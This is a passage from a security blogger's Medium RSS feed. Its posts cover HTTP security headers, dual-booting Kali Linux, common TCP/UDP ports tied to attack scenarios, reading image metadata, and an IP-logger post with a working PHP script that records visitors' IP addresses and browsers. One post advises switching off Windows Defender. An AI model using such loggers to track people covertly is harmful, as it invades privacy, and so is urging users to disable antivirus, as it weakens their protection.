only use <strong>HTTPS</strong> — even if the user types <a href="http://./">http://.</a></p><pre>Strict-Transport-Security: max-age=31536000; includeSubDomains; preload</pre><p>✅ <strong>Why?</strong> Prevents <strong>SSL stripping</strong> attacks by always upgrading insecure connections.</p><h3>5. Referrer-Policy — 👀 Control Referrer Leakage</h3><p><strong>Purpose:</strong> Controls how much referrer info gets passed when navigating between pages.</p><pre>Referrer-Policy: strict-origin-when-cross-origin</pre><p>✅ <strong>Why?</strong> Prevents sensitive data leakage via the Referer header.</p><h3>6. Permissions-Policy — 📵 Disable Browser Features</h3><p><strong>Purpose:</strong> Restricts access to features like camera, microphone, geolocation.</p><pre>Permissions-Policy: geolocation=(), microphone=(), camera=()</pre><p>✅ <strong>Why?</strong> Minimize attack surface by disabling unneeded browser APIs.</p><h3>7. X-XSS-Protection — (Deprecated)</h3><pre>X-XSS-Protection: 0</pre><p>🚫 Deprecated in modern browsers. Use <strong>Content Security Policy (CSP)</strong> instead for better XSS protection.</p><h3>🛠️ How to Add Security Headers (Apache &amp; Nginx)</h3><p><strong>🔧 Apache (.htaccess)</strong></p><pre>Header set X-Frame-Options &quot;DENY&quot;<br>Header set X-Content-Type-Options &quot;nosniff&quot;<br>Header always set Referrer-Policy &quot;strict-origin-when-cross-origin&quot;<br>Header always set Strict-Transport-Security &quot;max-age=31536000; includeSubDomains&quot;<br>Header set Content-Security-Policy &quot;default-src &#39;self&#39;&quot;</pre><h4><strong>🔧 Nginx</strong></h4><pre>add_header X-Frame-Options &quot;DENY&quot;;<br>add_header X-Content-Type-Options &quot;nosniff&quot;;<br>add_header Referrer-Policy &quot;strict-origin-when-cross-origin&quot;;<br>add_header Strict-Transport-Security &quot;max-age=31536000; includeSubDomains&quot;;<br>add_header Content-Security-Policy &quot;default-src &#39;self&#39;&quot;;</pre><p>✍️ <strong>Writer: </strong><a href="https://github.com/nikhilpatidar01"><strong>Nikhil Patidar</strong></a></p><p>📚 Learning Source Reference: <a href="https://www.armourinfosec.com/">armourinfosec.com</a></p><p>Cybersecurity Enthusiast | Ethical Hacker | Web App PenTester<br> Follow me for more deep dives into hacking, security, and tech defense!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e60a6a6a1d7e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Creating a Dual Bootable PC (Windows + Kali Linux)]]></title>
            <link>https://medium.com/@nikhilpatidar01/creating-a-dual-bootable-pc-windows-kali-linux-1051f303ef17?source=rss-2150cab66649------2</link>
            <guid isPermaLink="false">https://medium.com/p/1051f303ef17</guid>
            <dc:creator><![CDATA[Nikhil Patidar]]></dc:creator>
            <pubDate>Sun, 06 Jul 2025 10:59:13 GMT</pubDate>
            <atom:updated>2025-07-08T02:51:03.185Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mxd8BbXo9UgAjbS-ovwcfQ.jpeg" /></figure><p>🚀 Want to switch between hacking on Kali Linux and working on Windows without switching devices? Dual booting is your game-changer. This guide walks you through <strong>creating a dual-boot setup with Windows and Kali Linux</strong> using a bootable USB drive.</p><h3>🛠️ Prerequisites</h3><ul><li>A PC with <strong>Windows installed</strong></li><li>At least <strong>8GB USB drive</strong></li><li><strong>Rufus</strong> (to create bootable USB)</li><li><strong>Kali Linux ISO</strong> (latest version)</li><li>Basic understanding of partitions (don’t worry, we’ll guide you)</li></ul><h3>🧩 Step 1: Download Rufus</h3><p>Head to <a href="https://rufus.ie/">Rufus’s official website</a> and download the latest version (e.g., Rufus 4.6). It’s lightweight, portable, and doesn’t require installation.<br>Dowonload Link — <a href="https://rufus.ie/">Rufus’s official website</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RHmeaFDp8PkimQfnpGD5rA.png" /></figure><h3>🐉 Step 2: Download Kali Linux ISO</h3><p>Grab the latest ISO from Kali Linux Official Website.<br> Make sure to download the right architecture (usually 64-bit for modern machines).</p><p>Download Link — <a href="https://www.kali.org/get-kali/#kali-installer-images">Kali Linux Official Website</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4CEzmv44pYjka052GFWOEw.png" /></figure><h3>💾 Step 3: Prepare Your USB Drive</h3><p>Plug in your USB (minimum 8GB).<br> ⚠️ Warning: All data will be erased. Backup important files before continuing.</p><h3>🛡️ Step 4: Turn Off Windows Defender (Optional but Recommended)</h3><p>Sometimes, antivirus programs block ISO writing. Disable <strong>Windows Defender’s real-time protection</strong> temporarily:</p><ul><li>Go to Settings &gt; Update &amp; Security &gt; Windows Security</li><li>Click on Virus &amp; Threat Protection</li><li>Turn off <strong>Real-time protection</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KetntujyRn3QUrP2AYMcrg.png" /></figure><h3>🧰 Step 5: Launch Rufus</h3><ul><li>Open Rufus.</li><li>Select your USB device under <em>Device</em>.</li><li>Click <strong>SELECT</strong> and choose the Kali ISO you downloaded.</li><li>Leave other settings as default.</li></ul><h3>🔥 Step 6: Create Bootable USB</h3><ul><li>Hit <strong>START</strong></li><li>A warning will pop up — accept it.</li><li>Let Rufus work its magic. It usually takes 5–10 minutes.</li></ul><p>Once done ✅, eject your USB.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*J5H1y_DwpVltCixQti6shA.png" /></figure><h3>🧱 Step 7: Allocate Space for Kali Linux</h3><p>Before installing Kali, you need <strong>free disk space</strong>. Here’s how:</p><ul><li>Search Disk Management in Windows</li><li>Find a volume (e.g., D:)</li><li>Right-click &gt; <strong>Shrink Volume</strong></li><li>Shrink around <strong>100 GB</strong> (recommended)</li><li>This will create <strong>unallocated space</strong> for Kali</li><li>Shortcut Open Windows + R = diskmgmt.msc</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*CCeMyPuz5iSJef6AOe9_ow.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*4vmEab76UwE-T5YO7lwKbQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rs-vaE3njgxJ3zZW6dc4Ug.png" /></figure><h3>🧭 Step 8: Change Boot Priority (BIOS Settings)</h3><ul><li>Plug in your bootable USB</li><li>Restart your PC and enter BIOS (usually by pressing DEL, F2, or F12)</li></ul><pre>💻 Brand       🔧 BIOS/UEFI Key<br>Dell             F2 or F12 during startup<br>HP               ESC (then F9 for boot menu) or F10<br>Lenovo           F1 or F2 (some use Enter + F12)<br>Acer             F2 or DEL<br>ASUS             DEL or F2</pre><ul><li>Navigate to <strong>Boot Menu</strong></li><li>Set USB as the <strong>first boot device</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*C-KAAxnUEBJKANsxDU7xCQ.jpeg" /></figure><h3>🚀 Step 9: Boot from USB &amp; Install Kali</h3><ul><li>Save and exit BIOS</li><li>You’ll boot into Kali’s live menu</li><li>Choose <strong>“Graphical Install”</strong> or “Install”</li><li>During installation, when asked for partitioning:</li><li>Select <strong>Manual</strong></li><li>Choose the <strong>unallocated space</strong></li><li>Let Kali handle partitioning automatically or do it yourself</li><li>Continue with the installation</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*bkDXSA-foVmE_CQGg547Bg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*EEn4bHJ4IYWlDh8XJAOaCw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*GI77qxLb48AG_5G5EB8lCw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*CHoNtfTi0cm8QWn41bdefw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*OACiSqxV2GQp9Bi1_tG0RQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*ZLAlw7DjGnnFXSK2okFbQg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*0AT-LkE7x7sgC0_K0VHPnA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*OYfs3nNxuX09KYmKp6xahw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*98ZYff_a1VZSST5yph3lpQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*_-fOEk7fueuo7YNtNWt1bg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*gyaqo2TWup2au7yojVhvhQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*Tukd8xa3UuIJHZFymPz6Bw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*E2ui6WPwgUcAINZ_lXgz3Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*aHJ0ZEruCs5yuo7zqdXTgg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*XPpyEjdnZNjfDxk7tYQETQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*AN-fxWGt6MeS5AoVXWK66w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lHKM9PCxv2Q_NoKyTxBZUg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*rwj4efKdExDyhu20mFkxIA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*f3YRoBEXptKBAEM-0dKRDQ.png" /></figure><h3>⚙️ Final Step: Dual Boot Setup with GRUB</h3><p>Once the installation is done:</p><ul><li>Reboot your system</li><li>You’ll now see the <strong>GRUB menu</strong> at startup</li></ul><p>Choose:</p><ul><li><strong>Kali Linux</strong> 🐱‍💻 to dive into hacking mode</li><li><strong>Windows</strong> 🪟 to go back to your usual OS</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1013/1*AlIxHuqklP19jkbjbQEm8A.png" /></figure><p>✍️ <strong>Edited &amp; Enhanced by </strong><a href="https://github.com/nikhilpatidar01"><strong>Nikhil Patidar</strong></a><br> 💻 Ethical Hacker | Web App Pentester | Cybersecurity Researcher<br> 📂 GitHub Projects &amp; Tools: <a href="https://github.com/nikhilpatidar01">nikhilpatidar01</a></p><p>#KaliLinux #DualBoot #CyberSecurity #EthicalHacking #LinuxForHackers<br> #WindowsAndLinux #BootableUSB #HackThePlanet #InfoSec #LinuxTutorials</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1051f303ef17" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ Top 50 TCP and UDP Ports Every Hacker Should Know (with Practical Use Cases)]]></title>
            <link>https://medium.com/@nikhilpatidar01/top-50-tcp-and-udp-ports-every-hacker-should-know-with-practical-use-cases-f0f928248cfd?source=rss-2150cab66649------2</link>
            <guid isPermaLink="false">https://medium.com/p/f0f928248cfd</guid>
            <dc:creator><![CDATA[Nikhil Patidar]]></dc:creator>
            <pubDate>Thu, 03 Jul 2025 14:14:55 GMT</pubDate>
            <atom:updated>2025-07-03T14:36:01.026Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*XD6NfPW2DXZzuMFgZzGz3g.jpeg" /></figure><p>“In the world of network security, open ports are open opportunities — for defenders and attackers alike.”</p><p>If you’re into <strong>penetration testing, ethical hacking, bug bounty, or red teaming</strong>, mastering the most used TCP/UDP ports is a must. Each port tells a story — about services, exposures, and possible vulnerabilities.</p><p>Let’s break down the <strong>top 50 TCP &amp; UDP ports</strong>, explain what they do, and why they matter.</p><h3>🔒 What Are TCP and UDP Ports?</h3><ul><li><strong>TCP (Transmission Control Protocol)</strong>: Reliable, connection-oriented.</li><li><strong>UDP (User Datagram Protocol)</strong>: Fast, connectionless, best-effort delivery.</li></ul><h3>🧠 Why Should You Care?</h3><ul><li>🎯 <strong>Targeted Scanning</strong> — Focus only on relevant ports during recon.</li><li>🛡️ <strong>Threat Detection</strong> — Monitor for suspicious service activity.</li><li>🧪 <strong>Vulnerability Testing</strong> — Match services with known exploits.</li></ul><h3>📦 Top TCP Ports (Common in PenTesting)</h3><pre>| Port | Service                      | Description                   |<br>| ---- | ---------------------------- | ----------------------------- |<br>| 21   | FTP                          | File Transfer Protocol        |<br>| 22   | SSH                          | Secure Shell Remote Login     |<br>| 23   | Telnet                       | Unencrypted Remote Login      |<br>| 25   | SMTP                         | Mail Sending (Spam target)    |<br>| 53   | DNS (TCP for zone transfers) | Name resolution               |<br>| 80   | HTTP                         | Web traffic (Unencrypted)     |<br>| 110  | POP3                         | Email download                |<br>| 111  | RPCBind                      | Remote Procedure Call         |<br>| 135  | MS RPC                       | Microsoft DCOM                |<br>| 139  | NetBIOS                      | Windows file sharing          |<br>| 143  | IMAP                         | Email sync protocol           |<br>| 443  | HTTPS                        | Secure web traffic            |<br>| 445  | SMB                          | Windows File Sharing          |<br>| 465  | SMTPS                        | Encrypted email               |<br>| 587  | SMTP (submission)            | Authenticated email sending   |<br>| 993  | IMAPS                        | Secure IMAP                   |<br>| 995  | POP3S                        | Secure POP3                   |<br>| 1433 | MS SQL Server                | Microsoft Database            |<br>| 1521 | Oracle DB                    | Oracle Database connection    |<br>| 1723 | PPTP VPN                     | Legacy VPN protocol           |<br>| 2049 | NFS                          | Network File System           |<br>| 3306 | MySQL                        | MySQL database port           |<br>| 3389 | RDP                          | Windows Remote Desktop        |<br>| 5432 | PostgreSQL                   | PostgreSQL DB                 |<br>| 5900 | VNC                          | Virtual Network Computing     |<br>| 5985 | WinRM HTTP                   | Windows Remote Management     |<br>| 5986 | WinRM HTTPS                  | Secure WinRM                  |<br>| 6379 | Redis                        | In-memory DB                  |<br>| 8080 | HTTP-Alt                     | Proxy servers, alternate HTTP |<br>| 8443 | HTTPS-Alt                    | Secure web admin panels       |</pre><h3>📡 Top UDP Ports (Fast, Lightweight, Scan-Friendly)</h3><pre>| Port        | Service              | Description                      |<br>| ----------- | -------------------- | -------------------------------- |<br>| 53          | DNS                  | Domain resolution (fast, common) |<br>| 67          | DHCP Server          | IP assignment                    |<br>| 68          | DHCP Client          | Receives IP from server          |<br>| 69          | TFTP                 | Trivial File Transfer Protocol   |<br>| 123         | NTP                  | Network Time Protocol            |<br>| 135         | MS RPC               | Microsoft DCOM                   |<br>| 137         | NetBIOS Name Service | Windows name lookup              |<br>| 138         | NetBIOS Datagram     | Windows LAN communication        |<br>| 161         | SNMP                 | Network management &amp; monitoring  |<br>| 162         | SNMP Trap            | Alert reporting                  |<br>| 500         | ISAKMP               | VPN IPsec negotiation            |<br>| 514         | Syslog               | System log messages              |<br>| 520         | RIP                  | Routing Information Protocol     |<br>| 631         | IPP                  | Internet Printing Protocol       |<br>| 1434        | MS SQL Monitor       | Microsoft SQL Discovery          |<br>| 1900        | SSDP                 | UPnP device discovery            |<br>| 4500        | NAT-T IPsec          | VPNs behind NAT routers          |<br>| 5353        | mDNS                 | Bonjour / local name resolution  |<br>| 5678        | MikroTik Discovery   | Router management                |<br>| 33434–33534 | Traceroute           | ICMP fallback via UDP            |</pre><h3>🎯 Real-World Hacking Use Cases</h3><pre>| Scenario                       | Port(s) Targeted |<br>| ------------------------------ | ---------------- |<br>| RDP Brute Force                | 3389             |<br>| SQL Injection Testing          | 3306, 5432       |<br>| Web Server Fuzzing             | 80, 443, 8080    |<br>| File Share Enumeration         | 139, 445         |<br>| VPN or Firewall Bypass         | 500, 4500, 1723  |<br>| Malware C2 Beaconing Detection | 4444, 8080       |<br>| IoT &amp; Printer Exploits         | 631, 9100        |<br>| DNS Poisoning                  | 53               |</pre><p>✍️ <em>Written by Nikhil Patidar</em><br> 🔗 <a href="https://github.com/nikhilpatidar01">github.com/nikhilpatidar01</a><br> #EthicalHacking #PortScanning #OSINT #Nmap #CyberSecurity #PenetrationTesting #TCP #UDP #HackerGuide #KaliLinux #BugBounty</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f0f928248cfd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ Image Metadata: The Hidden Data Inside Your Photos (OSINT + Forensics + Privacy Guide)]]></title>
            <link>https://medium.com/@nikhilpatidar01/image-metadata-the-hidden-data-inside-your-photos-osint-forensics-privacy-guide-a0c202003e09?source=rss-2150cab66649------2</link>
            <guid isPermaLink="false">https://medium.com/p/a0c202003e09</guid>
            <dc:creator><![CDATA[Nikhil Patidar]]></dc:creator>
            <pubDate>Thu, 03 Jul 2025 13:52:50 GMT</pubDate>
            <atom:updated>2025-08-07T14:28:56.735Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WReqqJ6SRiZeK-4qVuXguw.jpeg" /></figure><blockquote>“A picture is worth a thousand words — but its metadata could reveal even more.”<em> 📸</em></blockquote><h3>🖼️ What is Image Metadata?</h3><p><strong>Image Metadata</strong> is invisible but valuable data embedded inside an image file. It’s like a digital fingerprint — quietly storing:</p><ul><li>📆 <strong>When</strong> the photo was taken</li><li>📍 <strong>Where</strong> it was captured (GPS coordinates)</li><li>📷 <strong>How</strong> it was shot (camera settings)</li><li>🧑‍💻 <strong>Who</strong> created or edited it</li></ul><p>Whether you’re a <strong>cybersecurity analyst</strong>, an <strong>OSINT investigator</strong>, or just a curious mind — understanding image metadata can <strong>uncover powerful insights</strong> or create <strong>privacy risks</strong>.</p><h3>📂 Types of Image Metadata</h3><ol><li><strong>EXIF = </strong>Automatically generated by cameras. Includes: date/time, GPS, camera model, ISO, shutter speed, etc.</li><li><strong>IPTC = </strong>Used in journalism. Includes captions, keywords, author, copyright.</li><li><strong>XMP = </strong>Adobe’s format. Stores edit history, tags, rights, etc.</li></ol><h3>📋 What Kind of Data Is Stored?</h3><ul><li>📆 Date/time the photo was taken</li><li>🌍 GPS Coordinates (latitude, longitude, altitude)</li><li>📷 Camera make, model, ISO, aperture, shutter speed</li><li>🧑‍💻 Editor software &amp; author info</li><li>🔐 Device IDs or serials <em>(sometimes)</em></li></ul><h3>❗ Why It Matters</h3><ol><li>🔎 <strong>Forensics &amp; OSINT = </strong>Reveal GPS location, timestamps, camera/device ID</li><li>🛡️ <strong>Privacy Risks = </strong>Unintentionally leak home or work location</li><li>👨‍⚖️ <strong>Legal Proof</strong>Authenticate ownership or originality of media</li><li>💻 <strong>Digital Evidence</strong>Cybercrime, threat intel, court admissibility</li></ol><h3>🌐 Free Online Tools for Metadata Analysis</h3><h3>1. Raw.pics.io</h3><ul><li>View <strong>EXIF/IPTC/XMP</strong> data</li><li>Supports JPG, PNG, RAW, etc.</li><li>Easy drag-and-drop interface</li></ul><h3>2. <a href="https://www.pic2map.com/">Pic2Map</a></h3><ul><li>Extract &amp; map <strong>GPS data</strong> from images</li><li>Great for OSINT/geolocation research</li></ul><h3>3. <a href="https://fotoforensics.com/">Fotoforensics</a></h3><ul><li>Deep forensic analysis including metadata, ELA, etc.</li><li>Popular in image verification tasks</li></ul><h3>🧰 CLI Tools on Kali Linux &amp; Debian</h3><h3>1️⃣ ExifTool (The GOAT 🔥)</h3><pre>sudo apt update<br>sudo apt install libimage-exiftool-perl</pre><p><strong>To view metadata:</strong></p><pre>exiftool image.jpg</pre><p><strong>To wipe metadata:</strong></p><pre>exiftool -all= image.jpg</pre><h3>2️⃣ Exif (Lightweight JPEG-only)</h3><pre>sudo apt install exif<br>exif image.jpg</pre><p>⚠️ Works only with .jpg or .jpeg files.</p><h3>3️⃣ Strings (Manual extraction)</h3><pre>strings image.jpg | less</pre><h3>🧠 Real-World Use Cases</h3><ul><li>👮‍♂️ <strong>Digital Forensics</strong> &amp; cybercrime investigations</li><li>🕵️‍♀️ <strong>OSINT investigations</strong> from open social media content</li><li>🛡️ <strong>Incident Response</strong> for leaked photos or documents</li><li>🧼 <strong>Metadata Sanitation</strong> for journalists &amp; whistleblowers</li></ul><p>✍️ <em>Written by </em><a href="https://github.com/nikhilpatidar01/"><em>Nikhil Patidar</em></a></p><p>📚 Learning Source Reference: <a href="https://www.armourinfosec.com/">armourinfosec.com</a><br> 🔍 #CyberSecurity #OSINT #ImageMetadata #DigitalForensics #Exif #KaliLinux #InfoSec #EthicalHacking #MAT2 #ExifTool</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a0c202003e09" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[️‍♂️ What is an IP Logger?]]></title>
            <link>https://medium.com/@nikhilpatidar01/%EF%B8%8F-%EF%B8%8F-what-is-an-ip-logger-74b814f10256?source=rss-2150cab66649------2</link>
            <guid isPermaLink="false">https://medium.com/p/74b814f10256</guid>
            <dc:creator><![CDATA[Nikhil Patidar]]></dc:creator>
            <pubDate>Thu, 03 Jul 2025 13:15:56 GMT</pubDate>
            <atom:updated>2025-08-07T14:28:30.452Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*Nh8vfoIvaXjal07bnEt-eA.png" /><figcaption>How to Find IP and Location any Devices.</figcaption></figure><p>An <strong>IP Logger</strong> is a script or tool used to <strong>capture &amp; record IP addresses</strong> of users visiting a specific <strong>link, page, or file</strong>. It’s a simple yet powerful technique for recon and red teaming — but <strong>only when used ethically</strong>.</p><h3>🧠 What Data Does It Collect?</h3><p>When someone visits a logged URL:</p><ul><li>🌐 <strong>IP Address</strong></li><li>🕒 <strong>Timestamp</strong></li><li>🖥️ <strong>User-Agent (Browser &amp; OS)</strong></li><li>🔗 <strong>Referrer</strong></li><li>📄 <strong>Page Visited</strong></li></ul><h3>✅ Real-World Ethical Use Cases</h3><p>| 🎯 <strong>Penetration Testing</strong> — confirm if a phishing payload was accessed<br> | 🛡️ <strong>Bug Bounty Recon</strong> — track security team response<br> | 📊 <strong>Traffic Analysis</strong> — for redirection, analytics, throttling <em>(with consent)</em><br> | ❌ <strong>Illegal Surveillance</strong> — 🚫 unethical + <strong>violates privacy laws</strong></p><h3>🛠️ Popular IP Logger Tools (Ethical Use Only)</h3><ul><li>🔗 <a href="https://grabify.link/"><strong>Grabify</strong></a> — IP logger + URL shortener</li><li>🖼️ <a href="https://iplogger.org/"><strong>IPLogger.org</strong></a> — image-based tracking</li><li>🌍 <a href="https://ps3cfw.com/"><strong>ps3CFW IP Tool</strong></a> — logger + WHOIS, VPN check</li><li>👨‍💻 <strong>Custom PHP Script</strong> — full manual control (code below 👇)</li></ul><h3>👨‍💻 DIY PHP Logger — ip-logger.php</h3><pre>&lt;?php<br>function getRealIpAddr() {<br>    if (!empty($_SERVER[&#39;HTTP_CLIENT_IP&#39;])) return $_SERVER[&#39;HTTP_CLIENT_IP&#39;];<br>    elseif (!empty($_SERVER[&#39;HTTP_X_FORWARDED_FOR&#39;])) return explode(&#39;,&#39;, $_SERVER[&#39;HTTP_X_FORWARDED_FOR&#39;])[0];<br>    else return $_SERVER[&#39;REMOTE_ADDR&#39;];<br>}<br><br>$realIp = getRealIpAddr();<br>$remoteIp = $_SERVER[&#39;REMOTE_ADDR&#39;];<br>$userAgent = $_SERVER[&#39;HTTP_USER_AGENT&#39;] ?? &#39;Unknown&#39;;<br>$referrer = $_SERVER[&#39;HTTP_REFERER&#39;] ?? &#39;Direct Access / Unknown&#39;;<br>$requestUri = $_SERVER[&#39;REQUEST_URI&#39;] ?? &#39;Unknown&#39;;<br>$dateTime = date(&#39;Y-m-d H:i:s&#39;);<br><br>$logEntry = &lt;&lt;&lt;LOG<br>&lt;hr&gt;<br>&lt;b&gt;Date:&lt;/b&gt; $dateTime&lt;br&gt;<br>&lt;b&gt;IP (REMOTE_ADDR):&lt;/b&gt; $remoteIp&lt;br&gt;<br>&lt;b&gt;IP (Detected):&lt;/b&gt; $realIp&lt;br&gt;<br>&lt;b&gt;Page:&lt;/b&gt; $requestUri&lt;br&gt;<br>&lt;b&gt;Referrer:&lt;/b&gt; $referrer&lt;br&gt;<br>&lt;b&gt;User-Agent:&lt;/b&gt; $userAgent&lt;br&gt;<br><br>LOG;<br><br>file_put_contents(&#39;log.html&#39;, $logEntry . PHP_EOL, FILE_APPEND | LOCK_EX);<br>?&gt;</pre><h3>🔒 Secure Your Logs</h3><p>Protect the log file using .htaccess:</p><pre>&lt;Files &quot;log.html&quot;&gt;<br>    Order Allow,Deny<br>    Deny from all<br>&lt;/Files&gt;</pre><p>This ensures no one can access the log directly from the browser.</p><h3>⚖️ Legal Reminder</h3><blockquote><em>Logging IPs without consent may violate:</em></blockquote><ul><li>🏛️ GDPR (EU)</li><li>🏛️ CCPA (California)</li><li>🏛️ IT Act (India)</li></ul><p>✅ Use only in:</p><ul><li>Your own systems</li><li>Pen-testing labs</li><li>Red team simulations</li><li>CTFs and bug bounty platforms</li></ul><p>✍️ <em>Written by </em><a href="https://github.com/nikhilpatidar01/"><em>Nikhil Patidar</em></a><br> 📚 Learning Source Reference: <a href="https://www.armourinfosec.com/">armourinfosec.com</a><br> #CyberSecurity #EthicalHacking #PHP #IPLogger #BugBounty #InfoSec #WebSecurity #RedTeam #CTF #NikhilWrites</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=74b814f10256" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>